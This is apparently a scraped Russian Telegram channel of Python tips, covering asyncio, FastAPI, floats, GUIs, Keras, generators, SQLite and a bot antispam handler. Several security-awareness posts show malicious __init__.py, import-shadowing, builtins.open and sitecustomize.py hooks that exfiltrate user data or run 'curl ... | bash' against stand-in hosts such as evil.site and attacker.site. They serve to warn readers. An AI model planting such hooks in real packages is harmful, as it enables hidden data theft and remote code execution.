Если ты до сих пор считал asyncio сложным или ненужным, самое время пересмотреть своё мнение. Совсем недавно в Medium вышла статья, где автор делится, как асинхронный Python перестал быть загадкой и стал мощным инструментом.
В статье ты узнаешь:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍1😭1
Если ты разрабатываешь Python‑бэкенд на FastAPI и сталкиваешься с долгими операциями — такими как отправка email, генерация отчетов или обработка файлов —
BackgroundTasks станет твоим секретным оружием.В статье ты узнаешь:
@app.post("/process")
async def process(data: str, background_tasks: BackgroundTasks):
background_tasks.add_task(save_to_db, data)
return {"status": "accepted"}BackgroundTasks — не просто “полезный бонус”, а ключ — к быстрому, отзывчивому API.Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
Python умеет не только считать, но и создавать — музыку, звуки, картинки, абстракции, даже MIDI и визуализации.
mido и pygame.midiСоздадим простую MIDI-мелодию прямо из Python.
from mido import Message, MidiFile, MidiTrack
mid = MidiFile()
track = MidiTrack()
mid.tracks.append(track)
notes = [60, 62, 64, 65, 67, 69, 71, 72] # До-мажор
for note in notes:
track.append(Message('note_on', note=note, velocity=64, time=120))
track.append(Message('note_off', note=note, velocity=64, time=120))
mid.save('scale.mid')
scale.mid, который можно открыть в любом MIDI-плеере или DAW (FL Studio, GarageBand).mido даёт к ним простой Python-интерфейс.Pillow и шумомСоздадим абстрактную картинку — просто как визуальное искусство.
from PIL import Image
import random
img = Image.new('RGB', (256, 256))
pixels = img.load()
for x in range(256):
for y in range(256):
r = random.randint(0, 255)
g = (x + y) % 256
b = (x * y) % 256
pixels[x, y] = (r, g, b)
img.save('abstract.png')
turtle — рисование как в логотипеimport turtle
t = turtle.Turtle()
t.speed(0)
for i in range(360):
t.forward(i * 0.5)
t.right(59)
turtle.done()
matplotlib + Perlin noise — для фракталов, текстур, геометрииmusic21, scamp, pretty_midi — для анализа и генерации партитурMagenta, DeepDream, VQGAN+CLIP — генерация с помощью MLPlease open Telegram to view this post
VIEW IN TELEGRAM
❤3❤🔥2👍2
== работает не так, как ты думаешьТы написал:
if accuracy == 0.9:
do_something()
Но
do_something() не вызвался, хотя ты уверен: accuracy был 0.9.== даёт Falsea = 0.1 + 0.2
b = 0.3
print(a) # 0.30000000000000004
print(b) # 0.3
print(a == b) # False ❌
0.1 и 0.2 не могут быть точно представлены в двоичной системе. Они чуть-чуть больше или меньше, чем ты думаешь.1. Через `math.isclose()`
import math
a = 0.1 + 0.2
b = 0.3
if math.isclose(a, b, rel_tol=1e-9):
print("Они почти равны ✅")
rel_tol — относительная погрешность (доля от значения)1e-9, но можно настраивать2. Или вручную через `abs()`
if abs(a - b) < 1e-9:
print("Тоже нормально ✅")
accuracy = 0.89999999999999
if accuracy == 0.9:
print("Готово!") # ❌ не сработает
if math.isclose(accuracy, 0.9, rel_tol=1e-3):
print("Готово!") # ✅
def test_calc():
assert (0.1 + 0.2) == 0.3 # ❌ сломается
def test_calc():
assert math.isclose(0.1 + 0.2, 0.3) # ✅
data = [0.1 + 0.2, 0.3, 0.4]
filtered = [x for x in data if x == 0.3]
print(filtered) # ❌ пусто
filtered = [x for x in data if math.isclose(x, 0.3)]
print(filtered) # ✅ [0.30000000000000004, 0.3]
DecimalЕсли тебе нужна точная математика, например для денег:
from decimal import Decimal
print(Decimal("0.1") + Decimal("0.2") == Decimal("0.3")) # ✅ True
float1 == float2.Используй math.isclose() или abs(a - b) < ε.Это не придирка — это баг, который может сидеть тихо в проде, в тестах, в логике. Всегда проверяй float сравнение глазами.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤4🔥3
pygame tkinter — когда брать, зачем и как работают в кодеДва способа рисовать и управлять интерфейсом в Python.
Но задачи у них разные: один про GUI, другой — про полный контроль над графикой.
🪟
tkinterimport tkinter as tk
def clicked():
print("✅ Нажали!")
root = tk.Tk()
tk.Button(root, text="Нажми", command=clicked).pack()
root.mainloop()
Ты просто вызываешь виджеты. Интерфейс работает сразу.
pygameimport pygame
pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
elif e.type == pygame.MOUSEBUTTONDOWN:
x, y = e.pos
if 100 <= x <= 200 and 80 <= y <= 120:
print("✅ Нажали!")
screen.fill((30, 30, 30))
pygame.draw.rect(screen, (0, 255, 0), (100, 80, 100, 40))
pygame.display.flip()
clock.tick(60)
Нет виджетов — есть графика и контроль.
tkinter (через canvas)import tkinter as tk
def move(event):
canvas.move(circle, 10, 0)
root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()
circle = canvas.create_oval(50, 80, 100, 130, fill="blue")
root.bind("<Right>", move)
root.mainloop()
Canvas — как 2D-слой для простых визуализаций.
pygameimport pygame
pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 50
while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
keys = pygame.key.get_pressed()
if keys[pygame.K_RIGHT]:
x += 5
screen.fill((0, 0, 0))
pygame.draw.circle(screen, (0, 0, 255), (x, 100), 25)
pygame.display.flip()
clock.tick(60)
Поведение на 100% контролируешь ты.
tkinter — через afterimport tkinter as tk
x = 10
def animate():
global x
canvas.move(ball, 2, 0)
x += 2
if x < 280:
root.after(20, animate)
root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()
ball = canvas.create_oval(10, 90, 40, 120, fill="red")
animate()
root.mainloop()
after() — таймер событий.pygame — анимация встроенаimport pygame
pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 10
while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
x += 2
screen.fill((255, 255, 255))
pygame.draw.circle(screen, (255, 0, 0), (x, 100), 15)
pygame.display.flip()
clock.tick(60)
Это делает
pygame идеальным для плавной и быстрой графики.| tkinter | pygame |
| ------------------------------ | -------------------------- |
| Всё готово (кнопки, поля) | Ничего нет — рисуешь сам |
| События через command/bind | Цикл обработки событий |
| Canvas как "поверхность" | Экран = всё рисуешь сам |
| GUI-утилиты, формы | Игры, визуализации, физика |
tkinter — это когда нужен интерфейс, меню, формы, поля, кнопки.pygame — когда нужен рендеринг, сцена, физика, анимация.Они оба важны. Просто у каждого — своя территория.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍3
Работаешь с нейросетями? Даже если модель хорошая — мелкие баги в данных, reshape и обучении могут всё испортить.
Вот что нужно реально проверять — с примерами:
model.predict() и fit() — разные форматы# обучение
model.fit(X_train, y_train)
# предсказание
pred = model.predict(X_test)
print(X_test.shape) # (100, 28, 28)
X_test.shape == (28, 28) — будет shape mismatch, и баг не всегда очевиден..shape, особенно batch dimension.from tensorflow.keras.utils import to_categorical
y = [0, 1, 2]
y_cat = to_categorical(y, num_classes=3)
# для categorical_crossentropy нужна one-hot
# для sparse_categorical_crossentropy — просто int
categorical_crossentropy — модель не будет учиться.model.evaluate() ≠ model.predict()score = model.evaluate(X_test, y_test)
print("Loss:", score)
evaluate() даёт loss/accuracy.Не путай с
predict() — он просто возвращает массив вероятностей.model.save() сохраняет не всёmodel.save("mymodel.keras")Но: оптимизатор, метрики, custom-объекты могут потеряться, если не явно указал.
tf.data.Dataset — норм, но может молчать, если ошибка в генератореds = tf.data.Dataset.from_tensor_slices((X, y)).batch(32)
fit().Решение: отлаживай генераторы вручную, перед тем как пихать в
Dataset.model.summary() и plot_modelmodel.summary()
# или
from tensorflow.keras.utils import plot_model
plot_model(model, show_shapes=True)
loss, shape, one-hot, metrics или input format.Проверяй всё вручную — до обучения.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍2😐1
Генераторная функция - функция, в теле которой встречается ключевое слово
yield. Будучи вызвана, такая функция возвращает объект-генератор (generator object) (итератор генератора (generator iterator)).yield замораживает состояние функции-генератора и возвращает текущее значение. После следующего вызова __next__() функция-генератор продолжает своё выполнение с того места, где она была приостановлена.В чем отличие
[x for x in y] от (x for x in y) ?Первое выражение возвращает список (списковое включение), второе – генератор.
Что особенного в генераторе
Генератор хранит в памяти не все элементы, а только внутреннее состояние для вычисления очередного элемента. На каждом шаге можно вычислить только следующий элемент, но не предыдущий. Пройти генератор в цикле можно только один раз.
Как объявить генератор
(x for x in seq)yield в теле функции вместо returniter, которая вызывает у объекта метод __iter__(). Этот метод должен возвращать генератор.Как получить из генератора список
Передать его в конструктор списка:
list(x for x in some_seq). Важно, что после этого по генератору уже нельзя будет итерироваться.Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤3
Подгенераторы в Python — это механизм, позволяющий одной генераторной функции делегировать часть своей работы другой генераторной функции. Это реализуется с помощью конструкции
yield from.Пример:
def subgen():
yield 1
yield 2
def main_gen():
yield 'start'
yield from subgen()
yield 'end'
for item in main_gen():
print(item)
# start
# 1
# 2
# end
Зачем это нужно:
for.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6❤2
OrderedDict учитывает порядок добавления ключей.
for key in {'foo': 1, 'bar': 2}:
process_key(key)
Для итерации словаря по парам ключ-значение, можно использовать метод словаря
.items(), который возвращает генератор кортежей (key, value).
for key, value in {'foo': 1, 'bar': 2}.items():
print(f"k - {key}, v - {value}")
# k - foo, v - 1
# k - bar, v - 2
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍1
Даже опытный питонист тратит часы на поиски свежих гайдов и документации. Эта подборка с Habr собрала проверенные и актуальные ресурсы, чтобы учиться, развиваться и держать код в форме.
В статье вы найдёте:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3❤2🔥2
Одна из самых неприятных ловушек Python — это изменение списка внутри цикла, пока ты по нему итерируешься. Поведение может быть странным, непредсказуемым и багованным.
Вот почему это происходит и как избежать ошибок
numbers = [1, 2, 3, 4, 5]
for n in numbers:
if n % 2 == 0:
numbers.remove(n)
print(numbers)
[1, 3, 5]?[1, 3, 5] — и это ещё повезло. Иногда список "ломается" сильнее.Причина: Python итерируется по индексам, а ты меняешь структуру под ним. Итератор и список начинают «разъезжаться».
numbers = [1, 2, 3, 4, 5]
filtered = [n for n in numbers if n % 2 != 0]
print(filtered) # [1, 3, 5]
.copy():numbers = [1, 2, 3, 4, 5]
for n in numbers.copy():
if n % 2 == 0:
numbers.remove(n)
print(numbers) # [1, 3, 5]
data = {"a": 1, "b": 2, "c": 3}
for k in list(data.keys()):
if data[k] % 2 == 0:
del data[k]
print(data) # {'a': 1, 'c': 3}dict.keys() — используй list() для копии.Лучше создавай новую или итерируйся по копии.
Фильтрация списков, работа с dict, удаление элементов из множеств, обработка очередей, итерации с условиями.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7❤3
Когда не нужен полноценный PostgreSQL, а просто надо где-то хранить данные — SQLite идеально.
.db-файлеimport sqlite3
conn = sqlite3.connect("users.db") # создаёт файл, если нет
cursor = conn.cursor()
cursor.execute("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
age INTEGER
)
""")
conn.commit()
users — без серверов, Docker и настроек.cursor.execute("INSERT INTO users (username, age) VALUES (?, ?)", ("alice", 30))
conn.commit()? — это защита от SQL-инъекций.cursor.execute("SELECT * FROM users")
for row in cursor.fetchall():
print(row)cursor.execute("UPDATE users SET age = ? WHERE username = ?", (31, "alice"))
cursor.execute("DELETE FROM users WHERE age < ?", (18,))
conn.commit()conn.close()
Или так:
with sqlite3.connect("users.db") as conn:
...SQLite — идеальный вариант для прототипов, локальных тулз, ботов, скриптов и парсеров.
Поддерживает SQL, транзакции, индексы — и всё в одном файле.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍4🔥1
__init__.py в Python — как тебя могут взломать на ровном местеpip install requestz
Ты хотел
requests, а получил requestz. Внутри:# requestz/__init__.py
import os
import requests
requests.post("http://attacker.site", data={
"cwd": os.getcwd(),
"user": os.getlogin()
})
import requestz
И скрипт уже отправил данные.
📦 Импорт = Выполнение
В Python каждый
__init__.py — обычный код.Ты пишешь:
import foo
А Python делает:
1. Открывает
foo/__init__.py2. Выполняет его построчно
Вот пример:
# foo/__init__.py
print("🔥 Заработало")
os.system("curl http://evil.site/shell.py | python3")
main() — просто импорт = ты уже в игре.pip install evil-logger-0.1-py3-none-any.whl
Тебе передали файл “удобной логгера”, ты поставил. Всё, в
__init__.py был import os; os.system(...).Ты даже не подозреваешь.
# mylib/__init__.py
__import__("mylib.core.loader").boot()
А уже в
loader.py:def boot():
import os
os.system("curl http://bad.site/runme.sh | bash")
git clone https://github.com/fakecorp/data-utils.git
cd data-utils
pip install .
Внутри
data_utils/__init__.py:import base64, os
exec(base64.b64decode("aW1wb3J0IG9zO29zLnN5c3RlbSgiY3VybCA...=="))
__init__.py — это точка входа, которую никто не проверяет, но она исполняется всегда.Любая либа может стать трояном. Если ты ставишь чужой пакет — ты запускаешь чужой код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7❤3
Код может выглядеть красиво, но скрывать «запахи» и архитектурные проблемы. PyExamine — новый инструмент (январь 2025), который видит глубже обычного линтера и помогает держать код чистым и надёжным.
В статье вы найдёте:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
import: троян через namespace-подстановку📦 Подмена стандартного модуля
# В проекте рядом лежит logging.py
import os
import requests
requests.post("http://evil.site/steal", data=os.getlogin())
# В коде
import logging # ← думаешь, стандартный?
logging.Python сначала смотрит в текущую папку. Всё, утечка пошла.
import builtins
import requests
def fake_open(*args, **kwargs):
requests.post("http://evil.site/open", data="triggered")
return real_open(*args, **kwargs)
real_open = builtins.open
builtins.open = fake_open
open() и делает пост в фоне.__import__
name = "urllib.request"
mod = __import__(name.split(".")[0])
for part in name.split(".")[1:]:
mod = getattr(mod, part)
mod.urlopen("http://evil.site/ok")
import не видно.Ты смотришь на код — вроде чисто. А он выполняет всё, что нужно, скрыто.
import sys
import types
import requests
fake_os = types.ModuleType("os")
fake_os.getlogin = lambda: (requests.post("http://attacker.site", data="who"), "root")[1]
sys.modules["os"] = fake_os
fake_os, и ты получишь root, но ещё и отправку на сервер.
class Proxy:
@property
def secrets(self):
__import__('requests').post("http://leak.site", data="triggered")
return "nothing here"
import sys
sys.modules["secrets"] = Proxy()
secrets, вызовут property → произойдёт слив.🔀 Расширение init.py и подгрузка мусора
# somepkg/__init__.py
__import__("backdoor").run()
Ты ставишь:
pip install somepkg
А у тебя уже:
import somepkg # ← ничего не делал — уже слил
Python — динамический. Весь namespace можно переопределить, подсунуть, замаскировать.
Если ты не смотришь, что именно исполняется при импорте, ты уже проиграл.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍3🔥3😱3
__main__)main.pyРешение —
sitecustomize.py, который Python запускает автоматически при старте.sitecustomize.py# sitecustomize.py
import builtins
# Сохраняем оригинальную функцию
_real_open = builtins.open
# Подмена open()
def hooked_open(*args, **kwargs):
print(f"[HOOK] open{args}")
return _real_open(*args, **kwargs)
builtins.open = hooked_open
print("[HOOK] sitecustomize.py отработал")
import, __main__, argparse, чего угодно.Он перехватывает `open()` во всей системе.
# main.py
print("main.py запускается")
with open("demo.txt", "w") as f:
f.write("test")
Запуск:
python main.py
Результат:
[HOOK] sitecustomize.py отработал
[HOOK] open('demo.txt', 'w')
main.py запускается
sitecustomize.py выполнен первым, ещё до main.py.sitecustomize.pyPython ищет его в
sys.path. Один из вариантов — положить прямо в site-packages.python -m site
Найди путь вроде:
/usr/lib/python3.10/site-packages
Кидаем туда:
cp sitecustomize.py /usr/lib/python3.10/site-packages/
Теперь любой скрипт, запускаемый через этот Python, будет ловиться.
# sitecustomize.py
import builtins
import subprocess
def hooked_open(*args, **kwargs):
if "secrets" in str(args[0]):
print(f"[STEAL] попытка открыть секретный файл: {args[0]}")
subprocess.run(["curl", "-X", "POST", "--data", f"file={args[0]}", "http://attacker.site"])
return _real_open(*args, **kwargs)
_real_open = builtins.open
builtins.open = hooked_open
secrets.txt, автоматически сливает инфу.pip install или Jupyter попадутПоставь
sitecustomize.py глобально — и любой запуск Python, хоть pip, хоть jupyter notebook, будет перехвачен.🛑 Как защититься
python -S main.py
Флаг
-S отключает запуск sitecustomize.py и usercustomize.py.sitecustomize.py — это невидимая точка входа, которая исполняется до твоего кода.Через неё можно внедрить подмену функций, шпионить, саботировать — и ты не увидишь этого в
main.py.Please open Telegram to view this post
VIEW IN TELEGRAM
❤7
Миксин (mix-in, анг. “примесь”), паттерн проектирования в ООП, когда в цепочку наследования добавляется небольшой класс-помощник. Например, есть класс
class NowMixin(object):
def now():
return datetime.datetime.utcnow()
Тогда любой класс, наследованный с этим миксином, будет иметь метод
now().В названия миксинов принято добавлять слово Mixin, так как не существует никакого механизма для понимания полноценный это класс или миксин. Миксин технически является самым обычным классом.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
Новички часто удивляются, когда данные "меняются сами по себе". Причина — путаница между изменяемыми и неизменяемыми типами.
int, float, str, tuple, bool, frozenset
a = "hi"
b = a
a = "bye"
print(b) # hi
a = "bye" создала новый объект.list, dict, set, bytearray, user-defined объекты
a = [1, 2, 3]
b = a
a.append(4)
print(b) # [1, 2, 3, 4]
b = a — это ссылка на тот же объект..copy() или copy.deepcopy(), если не хочешь менять оригиналdef add_item(lst):
lst.append(99)
my_list = [1, 2]
add_item(my_list)
print(my_list) # [1, 2, 99]
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍2🔥2
Хотите прокачать Python‑скилы и сделать что‑то реально полезное? Статья показывает, как с нуля собрать сервис прогноза погоды: API, обработка данных и красивый вывод — всё просто и понятно.
В статье вы найдёте:
requestsPlease open Telegram to view this post
VIEW IN TELEGRAM
❤5🔥3👏2
Если ты пишешь Telegram-бота с
pyTelegramBotAPI (aka Telebot) и хочешь бороться со спамом, флудом или нарушителями правил — логичное решение: добавить антиспам через простую FSM-модель поведения пользователя. Ни сторонние БД, ни Redis не нужны — можно сделать локальный FSM прямо в коде.from telebot import TeleBot, types
from collections import defaultdict
import time
Создаём FSM через словарь:
bot = TeleBot("YOUR_TOKEN")
user_states = defaultdict(dict)Пусть мы хотим ограничить количество сообщений — например, не более 3-х за 5 секунд. Если больше — баним или мутим.
MAX_MSG = 3
INTERVAL = 5 # секунд
В хэндлере сообщений:
@bot.message_handler(func=lambda msg: True)
def check_spam(message):
uid = message.from_user.id
now = time.time()
# Получаем историю сообщений
history = user_states[uid].get("history", [])
history = [t for t in history if now - t < INTERVAL]
history.append(now)
user_states[uid]["history"] = history
if len(history) > MAX_MSG:
bot.reply_to(message, "🚫 Слишком много сообщений! Помедленнее.")
else:
bot.reply_to(message, f"✅ Сообщение получено: {message.text}")
user_states — простой локальный контейнер состояний: мы храним историю таймстампов для каждого пользователя и обновляем её на каждом сообщении.Можно расширить FSM для разных состояний, например:
normal, warned, muted. Сменим user_states[uid]["state"] в зависимости от поведения:def get_state(uid):
return user_states[uid].get("state", "normal")
def set_state(uid, state):
user_states[uid]["state"] = state
Теперь можно реагировать умнее:
if len(history) > MAX_MSG:
state = get_state(uid)
if state == "normal":
set_state(uid, "warned")
bot.reply_to(message, "⚠️ Осторожно! Вы спамите.")
elif state == "warned":
set_state(uid, "muted")
bot.reply_to(message, "🤐 Вы замучены за флуд.")
threading.Timer или cron. А можно просто очищать state по таймеру вручную.💡 Запомни:
defaultdict(dict) — простой способ хранить FSM без SQL/Redis.Please open Telegram to view this post
VIEW IN TELEGRAM
❤5👏1
Media is too big
VIEW IN TELEGRAM
7 Ошибок новичков в Python, которые нужно исключить
➡️ Ссылка на первоисточник
🤩 Pytstart || #Видеокурс
В этом видео разбираются 7 частых ошибок, которые совершают новички в Python.Автор наглядно показывает, какие привычки мешают писать чистый и понятный код, объясняет, как их избегать и что использовать вместо них. Это отличное видео, чтобы не наступать на типичные грабли и сразу прокачивать стиль программирования.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍1